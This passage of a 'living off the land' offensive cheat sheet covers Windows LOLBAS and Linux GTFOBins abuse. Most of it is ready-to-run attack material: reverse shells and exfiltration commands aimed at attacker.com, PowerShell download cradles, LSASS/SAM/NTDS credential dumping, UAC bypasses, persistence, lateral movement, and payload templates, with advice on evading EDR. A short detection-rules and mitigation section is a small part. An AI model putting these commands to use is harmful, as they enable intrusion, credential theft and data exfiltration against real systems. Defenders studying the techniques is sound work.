for /L %i in (1,1,254) do ping -n 1 -w 50 192.168.1.%i | findstr /i "reply"

:: Port check via PowerShell
Test-NetConnection -ComputerName 192.168.1.1 -Port 445
1..1024 | % {$t=New-Object Net.Sockets.TcpClient;
  $t.Connect("192.168.1.10",$_);if($t.Connected){"Port $_ open";$t.Close()}}

11.3 Process & Service Enumeration

:: Running processes (with owner)
tasklist /v
tasklist /svc                   ← services per process
wmic process list full

:: Services
sc query
net start
wmic service list brief | findstr /i "running"

:: Scheduled tasks
schtasks /query /fo LIST /v

11.4 File & Registry Search

:: Find interesting files
dir /s /b C:\*.kdbx 2>nul       ← KeePass database
dir /s /b C:\*id_rsa* 2>nul     ← SSH private keys
dir /s /b C:\*.pfx 2>nul        ← certificates with private keys
dir /s /b C:\*unattend*.xml 2>nul ← unattend files with passwords
dir /s /b C:\*web.config 2>nul  ← web configs with connection strings

:: Search for passwords in files
findstr /si "password" C:\inetpub\*.config 2>nul
findstr /si "connectionstring" C:\inetpub\*.config 2>nul

:: Recently modified files
forfiles /p C:\ /s /m *.* /d -7 /c "cmd /c echo @path" 2>nul

:: Registry credential searches
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
:: ← AutoAdminLogon, DefaultUserName, DefaultPassword

12. Linux LOLBAS (GTFOBins)

What it means: On Linux, the equivalent of LOLBAS is GTFOBins — standard Unix tools that can be abused for file reads, file writes, reverse shells, and privilege escalation. These are critical for post-exploitation on Linux targets.

# ─── File Read (read privileged files) ───
cat /etc/shadow
less /etc/shadow
more /etc/shadow
tail /etc/shadow
head /etc/shadow
sort /etc/shadow
cut -d: -f1 /etc/shadow
xxd /etc/shadow | xxd -r
base64 /etc/shadow | base64 -d
openssl enc -in /etc/shadow
python3 -c "print(open('/etc/shadow').read())"
ruby -e "puts File.read('/etc/shadow')"
perl -ne 'print' /etc/shadow
awk '{print}' /etc/shadow
tee < /etc/shadow         # stdout
cp /etc/shadow /tmp/s && cat /tmp/s

# ─── File Write (write to privileged files) ───
tee -a /etc/passwd << 'EOF'
hacker:x:0:0::/root:/bin/bash
EOF
echo "entry" | tee -a /etc/passwd
openssl enc -out /etc/cron.d/evil
dd of=/etc/passwd if=/dev/stdin

# ─── Shell Escape (when restricted to a tool) ───
# vim / vi
:!bash
:set shell=/bin/bash
:shell

# less / more
!/bin/bash

# man
!/bin/bash
M (mail reader mode) → !bash

# ftp
!/bin/bash

# mysql
\! /bin/bash

# python3
import os; os.system("/bin/bash")

# perl
exec "/bin/bash";

# awk
BEGIN {system("/bin/bash")}

# find
find / -exec /bin/bash \; -quit

# env
env /bin/bash

# tar (read only env, triggers on extract)
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# zip
zip /tmp/z.zip /tmp/z -T --unzip-command="sh -c /bin/bash"

# ─── Reverse Shells (when restricted to specific tools) ───
# nc (if -e available)
nc attacker.com 4444 -e /bin/bash

# nc (no -e version)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc attacker.com 4444 > /tmp/f

# bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# python
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));
  [os.dup2(s.fileno(),i) for i in range(3)];pty.spawn("/bin/bash")'

# perl
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,
  getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));
  open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

# socat (if installed)
socat TCP:attacker.com:4444 EXEC:/bin/bash

# openssl (encrypted reverse shell!)
openssl s_client -quiet -connect attacker.com:4444 | /bin/bash 2>&1 | \
  openssl s_client -quiet -connect attacker.com:4445

13. Detection & Defense

What it means: Defenders must specifically monitor for LOLBAS abuse — standard AV is often blind to these techniques. Detections focus on unusual parent-child process relationships, network connections from system utilities, and suspicious command-line arguments.

13.1 High-Value Detection Rules (Sigma / SIEM)

# mshta making network connection
Process: mshta.exe
Network: connection to non-Microsoft domain
Alert:   CRITICAL — almost always malicious

# regsvr32 with /i: flag and URL
CommandLine: "*regsvr32* /i:http*"
CommandLine: "*regsvr32* /i:ftp*"
Alert:       HIGH — Squiblydoo technique

# certutil downloading files
CommandLine: "*certutil* -urlcache*"
CommandLine: "*certutil* -decode*"
Alert:       HIGH

# wmic with XSL format loading
CommandLine: "*wmic* /format:*"
CommandLine: "*wmic* os get*format*http*"
Alert:       HIGH

# rundll32 with comsvcs (LSASS dump)
CommandLine: "*rundll32* comsvcs*MiniDump*"
Alert:       CRITICAL — credential dumping

# Unusual parent process spawning cmd/powershell
ParentProcess: mshta.exe, regsvr32.exe, wmic.exe, msiexec.exe
ChildProcess:  cmd.exe, powershell.exe, wscript.exe
Alert:         HIGH

# MSBuild from unusual path
Process:  msbuild.exe
Path:     NOT C:\Windows\Microsoft.NET\*
Alert:    MEDIUM

# fodhelper UAC bypass indicator
Registry: HKCU\Software\Classes\ms-settings\Shell\Open\command
Alert:    HIGH — UAC bypass attempt

13.2 Defensive Mitigations

Mitigation Effectiveness
──────────────────────────────────────────────────────────────
AppLocker — block non-standard paths HIGH (not foolproof)
WDAC (Windows Defender App Control) VERY HIGH (kernel-level)
Constrained Language Mode (PS) HIGH for PS-based LOL
Attack Surface Reduction (ASR) rules HIGH for Office/script
Script Block Logging (PS) MEDIUM (detection only)
Module Logging (PS) MEDIUM (detection only)
Disable WScript/CScript HIGH if not needed
Disable mshta (via DWORD in registry) HIGH if not needed
Sysmon (process + network events) DETECTION only
EDR behavioral analysis HIGH (modern EDRs)

Disable wscript/cscript via policy:

reg add "HKLM\Software\Microsoft\Windows Script Host\Settings"
/v Enabled /t REG_DWORD /d 0 /f

Enable ASR rule — Block execution from email/webmail

GUID: BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550

Set-MpPreference -AttackSurfaceReductionRules_Ids BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
-AttackSurfaceReductionRules_Actions Enabled

14. Cheat Sheet

Top LOLBAS Quick Reference

Binary Primary Abuse Key Flag/Method
──────────────────────────────────────────────────────────────────────────
mshta.exe Execute VBScript/JScript remotely vbscript:Execute()
regsvr32.exe Execute remote scriptlet (SCT) /s /n /u /i:URL
rundll32.exe Execute DLL export / LSASS dump comsvcs.dll MiniDump
certutil.exe Download files / base64 decode -urlcache -split -f
bitsadmin.exe Download via BITS /transfer /download
wmic.exe Remote code execution / XSL exec process call create
msiexec.exe Install remote MSI /q /i http://...
cscript.exe Execute VBS/JS //b //nologo
wscript.exe Execute VBS/JS (GUI) //b
installutil.exe Execute .NET via Uninstall() /logfile= /u
MSBuild.exe Compile+run inline C# task project.csproj
odbcconf.exe Register/load DLL /a {REGSVR dll}
cmstp.exe Execute INF scriptlet (UAC bypass) /ni /s
fodhelper.exe UAC bypass via HKCU registry (registry key hijack)
vssadmin.exe Shadow copy NTDS.dit create shadow /for=C:
schtasks.exe Persistence via scheduled task /create /tn /tr /sc
sc.exe Service creation / remote exec create binpath=
reg.exe Export SAM/SYSTEM / run key persist save / add

PowerShell Download Cradles (No File Drop)

# IEX + DownloadString (classic)
IEX(New-Object Net.WebClient).DownloadString('http://ip/s.ps1')

# IWR + IEX (modern)
IEX(IWR 'http://ip/s.ps1' -UseBasicParsing)

# Split to avoid string detection
$a='IEX';$b='(New-Object Net.WebClient).DownloadString("http://ip/s.ps1")';& $a $b

# Env var obfuscation
$env:c='IEX(IWR "http://ip/s.ps1")'; IEX $env:c

LSASS Dump — No Mimikatz

:: Method 1: comsvcs.dll (rundll32)
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\loot\lsass.dmp full

:: Method 2: Task Manager (GUI — right click lsass → Create Dump File)
:: → C:\Users\<user>\AppData\Local\Temp\lsass.DMP

:: Method 3: reg save (SAM dump — local hashes)
reg save HKLM\SAM C:\loot\sam & reg save HKLM\SYSTEM C:\loot\sys

:: Method 4: vssadmin (NTDS.dit — domain hashes)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\loot\

OPSEC Priority Rankings

MOST NOISY (avoid or obfuscate heavily):
certutil -urlcache ← flagged by almost all EDRs
mimikatz.exe (dropped) ← instant flag
psexec.exe ← creates PSEXESVC service
wmic /format:http ← suspicious

MEDIUM (use with care, blend in):
mshta http:// ← network conn from mshta = suspicious
regsvr32 /i:http:// ← Squiblydoo is well-known
bitsadmin /transfer ← BITS logs to Event Log

QUIETER (preferred where possible):
MSBuild.exe (no network) ← unusual but not flagged everywhere
installutil.exe /u ← less monitored than others
comsvcs.dll dump ← quieter than procdump/mimikatz
PowerShell cradles (encoded) ← depends on logging level
wscript/cscript (local files) ← normal admin activity

🏡 LOLBAS Master Cheat Sheet

⚡ EXECUTION

:: mshta — execute remote VBScript
mshta http://attacker.com/payload.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c whoami"",0,True")

:: regsvr32 — Squiblydoo (AppLocker bypass)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: rundll32 — execute DLL export
rundll32.exe evil.dll,EntryPoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("cmd",0,true);

:: wmic — local/remote exec
wmic process call create "cmd /c whoami"
wmic /node:192.168.1.10 /user:admin /password:pass process call create "cmd /c whoami"
wmic os get /format:"http://attacker.com/payload.xsl"

:: msiexec — remote MSI
msiexec /q /i http://attacker.com/payload.msi

:: MSBuild — inline C# (best AppLocker bypass)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

:: installutil — .NET Uninstall() abuse
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /u payload.exe

:: cscript / wscript — VBS/JS
wscript //b //nologo payload.vbs
cscript payload.js

:: forfiles
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c whoami"

:: pcalua
pcalua.exe -a \\attacker.com\share\payload.exe

:: WSL (if installed)
bash.exe -c "curl http://attacker.com/shell.sh | bash"

📥 FILE DOWNLOAD & TRANSFER

:: certutil (NOISY — flagged by most EDRs)
certutil.exe -urlcache -split -f http://attacker.com/p.exe C:\loot\p.exe
certutil.exe -urlcache -split -f http://attacker.com/p.exe delete  ← clean cache

:: certutil — encode/decode
certutil.exe -encode payload.exe payload.b64
certutil.exe -decode payload.b64 payload.exe

:: bitsadmin
bitsadmin /transfer myJob /download /priority normal http://attacker.com/p.exe C:\loot\p.exe

:: curl (Win10+)
curl http://attacker.com/p.exe -o C:\loot\p.exe

:: hh.exe
hh.exe http://attacker.com/payload.chm

# PowerShell cradles (no file drop — in-memory)
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
IEX(IWR 'http://attacker.com/shell.ps1' -UseBasicParsing)
(New-Object Net.WebClient).DownloadFile('http://attacker.com/p.exe','C:\loot\p.exe')
Start-BitsTransfer -Source http://attacker.com/p.exe -Destination C:\loot\p.exe

🔓 APPLOCKER BYPASS

:: regsvr32 (most reliable)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: MSBuild (stealthiest)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

:: installutil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /u payload.exe

:: mshta
mshta http://attacker.com/payload.hta

:: odbcconf
odbcconf.exe /a {REGSVR C:\Users\Public\evil.dll}

:: Writable whitelisted paths (drop here)
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\System32\spool\drivers\color\
C:\Users\Public\

🪟 UAC BYPASS

:: fodhelper (most reliable — Win10/11)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings /f   ← cleanup

:: eventvwr
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
eventvwr.exe
reg delete HKCU\Software\Classes\mscfile /f

:: cmstp
cmstp.exe /ni /s payload.inf

🔁 PERSISTENCE

:: Run key (survives logon)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svc /d "C:\loot\p.exe" /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v svc /d "C:\loot\p.exe" /f

:: Scheduled task
schtasks /create /tn "WindowsSync" /tr "C:\loot\p.exe" /sc ONLOGON /f
schtasks /create /tn "WinUpdate" /tr "C:\loot\p.exe" /sc DAILY /st 09:00 /f
schtasks /create /tn "SvcHost" /tr "C:\loot\p.exe" /sc MINUTE /mo 5 /f

:: Service
sc create EvilSvc binpath= "C:\loot\p.exe" start= auto
sc start EvilSvc

:: IFEO — debugger hijack (notepad → your payload)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\loot\p.exe" /f

:: Userinit (SYSTEM required)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "userinit.exe,C:\loot\p.exe" /f

:: netsh helper DLL
netsh add helper C:\loot\evil.dll

🔐 CREDENTIAL ACCESS

:: LSASS dump — NO MIMIKATZ (comsvcs.dll)
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\loot\lsass.dmp full

:: SAM dump (local hashes)
reg save HKLM\SAM     C:\loot\sam.hive
reg save HKLM\SYSTEM  C:\loot\sys.hive
reg save HKLM\SECURITY C:\loot\sec.hive
:: Parse: secretsdump.py -sam sam.hive -system sys.hive LOCAL

:: NTDS.dit (ALL domain hashes — needs Domain Admin)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\loot\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\
:: Parse: secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

:: Credential manager
cmdkey /list

:: Stored password search
reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
findstr /si password C:\inetpub\*.config
dir /s /b C:\Users\*password* 2>nul

🌐 LATERAL MOVEMENT

:: wmic (remote exec)
wmic /node:192.168.1.10 /user:domain\admin /password:pass process call create "cmd /c ..."

:: sc (remote service)
sc \\192.168.1.10 create svc binpath= "C:\Windows\Temp\p.exe"
sc \\192.168.1.10 start svc

:: winrs (WinRM — port 5985)
winrs -r:192.168.1.10 -u:admin -p:pass cmd

:: net use + copy
net use \\192.168.1.10\C$ /user:admin pass
copy C:\loot\p.exe \\192.168.1.10\C$\Windows\Temp\p.exe
net use \\192.168.1.10\C$ /delete

:: schtasks (remote)
schtasks /create /s 192.168.1.10 /u admin /p pass /tn evil /tr "C:\loot\p.exe" /sc ONCE /st 00:00
schtasks /run /s 192.168.1.10 /tn evil

📤 EXFILTRATION

:: Base64 encode + copy out
certutil -encode C:\sensitive\data.txt C:\loot\data.b64
type C:\loot\data.b64

:: SMB to attacker share
net use \\attacker.com\exfil /user:user pass
xcopy C:\sensitive\ \\attacker.com\exfil\ /e /h /c /q
net use \\attacker.com\exfil /delete

# HTTP POST exfil
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\sensitive\data.txt"))
Invoke-WebRequest -Uri http://attacker.com/upload -Method POST -Body $b64

# DNS exfil (chunked — attacker logs subdomain queries)
$data   = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = $data -split '(?<=\G.{63})'
foreach ($c in $chunks) { Resolve-DnsName "$c.attacker.com" -EA SilentlyContinue }

🔍 RECON (Built-in Only)

:: First commands after shell
whoami /all                          ← user + groups + privileges
systeminfo                           ← OS, patches, domain
net user %username% /domain
net group "Domain Admins" /domain
ipconfig /all
netstat -ano
arp -a                               ← live hosts on LAN

:: Interesting file hunt
dir /s /b C:\*.kdbx 2>nul            ← KeePass
dir /s /b C:\*id_rsa* 2>nul          ← SSH keys
dir /s /b C:\*unattend*.xml 2>nul    ← unattend creds
dir /s /b C:\*web.config 2>nul       ← DB creds
dir /s /b C:\*.pfx 2>nul             ← certs with keys

:: Ping sweep (no nmap)
for /L %i in (1,1,254) do ping -n 1 -w 50 192.168.1.%i | findstr /i "reply"

:: Port check (PowerShell)
Test-NetConnection -ComputerName 192.168.1.10 -Port 445

🐧 LINUX LOLBAS (GTFOBins)

# Reverse shells without custom tools
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc attacker.com 4444 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc attacker.com 4444 >/tmp/f
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn("/bin/bash")'
openssl s_client -quiet -connect attacker.com:4444|/bin/bash 2>&1|openssl s_client -quiet -connect attacker.com:4445

# Read privileged files
base64 /etc/shadow | base64 -d
xxd /etc/shadow
python3 -c "print(open('/etc/shadow').read())"

# Write privileged files
echo 'hacker::0:0::/root:/bin/bash' | tee -a /etc/passwd

# Tool-specific shell escapes
vim   → :!bash
less  → !/bin/bash
man   → !/bin/bash
ftp   → !/bin/bash
mysql → \! /bin/bash
awk   → BEGIN {system("/bin/bash")}
find  → find / -exec /bin/bash \; -quit

🚨 OPSEC NOISE RANKING

CRITICAL — avoid / heavily obfuscate:
certutil -urlcache ← near-instant EDR alert
mimikatz.exe dropped to disk ← instant flag
psexec.exe ← creates PSEXESVC service
wmic /format:http ← well-known pattern

HIGH — use carefully:
mshta http:// ← network from mshta = suspicious
regsvr32 /i:http:// ← Squiblydoo well-known
bitsadmin /transfer ← logged in Event Log
rundll32 comsvcs MiniDump ← flagged by modern EDRs

MEDIUM — blend in more:
MSBuild.exe (local file only) ← less monitored
installutil /u ← infrequently monitored
wscript/cscript (local) ← normal admin activity
schtasks (common task names) ← blend with legit tasks

QUIETEST options:
PowerShell cradles (IWR + IEX) ← depends on PS logging config
bitsadmin (background, slow) ← mimics Windows Update
winrs / WinRM ← no service creation
net use + copy ← looks like file share access

📋 PAYLOAD TEMPLATES

SCT (regsvr32)

<?XML version="1.0"?>
<scriptlet><registration progid="x" classid="{FEEDACDC-0000-0000-0000-0000FEEDACDC}">
<script language="JScript"><![CDATA[
  var r=new ActiveXObject("WScript.Shell");
  r.Run("powershell -nop -w hidden -enc BASE64",0);
]]></script></registration></scriptlet>

HTA (mshta)

<html><head><script language="VBScript">
  CreateObject("Wscript.Shell").Run "powershell -nop -w hidden -enc BASE64",0
  self.close
</script></head></html>

MSBuild Inline C

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="x"><ClassTask /></Target>
  <UsingTask TaskName="ClassTask" TaskFactory="CodeTaskFactory"
   AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task><Code Type="Class" Language="cs"><![CDATA[
      using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
      public class ClassTask : Task, ITask {
        public override bool Execute() {
          System.Diagnostics.Process.Start("cmd.exe","/c YOUR_COMMAND_HERE");
          return true;
        }
      }
    ]]></Code></Task>
  </UsingTask>
</Project>

VBS Payload

Set o=CreateObject("Wscript.Shell")
o.Run "powershell -nop -w hidden -enc BASE64",0,False

Quick decision guide:

Initial access via phishing? → mshta HTA or regsvr32 SCT
AppLocker in place? → MSBuild inline C# or installutil
Need credentials? → comsvcs.dll LSASS dump + reg save SAM
Need persistence? → schtasks + common-looking task name
Lateral movement? → winrs (quietest) or wmic process call
Exfil data? → DNS chunking (quietest) or SMB to your share

Living Off the Land (LOLBAS)